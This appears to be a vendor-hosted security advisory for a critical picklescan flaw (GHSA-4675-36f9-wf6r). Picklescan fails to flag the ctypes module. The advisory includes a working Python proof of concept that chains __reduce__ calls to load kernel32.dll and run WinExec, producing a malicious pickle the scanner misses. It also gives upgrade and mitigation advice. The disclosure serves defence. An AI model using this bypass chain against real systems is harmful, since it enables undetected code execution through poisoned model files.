GHSA-4675-36f9-wf6r is a critical-severity (CVSS 9.8) CWE-184 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4675-36f9-wf6r.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
- Load DLLs
- Call C functions directly
- Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33pip install --upgrade 'picklescan==0.0.33' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4675-36f9-wf6r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-4675-36f9-wf6r in your dependencies?
Find it across PyPI, including transitive dependencies.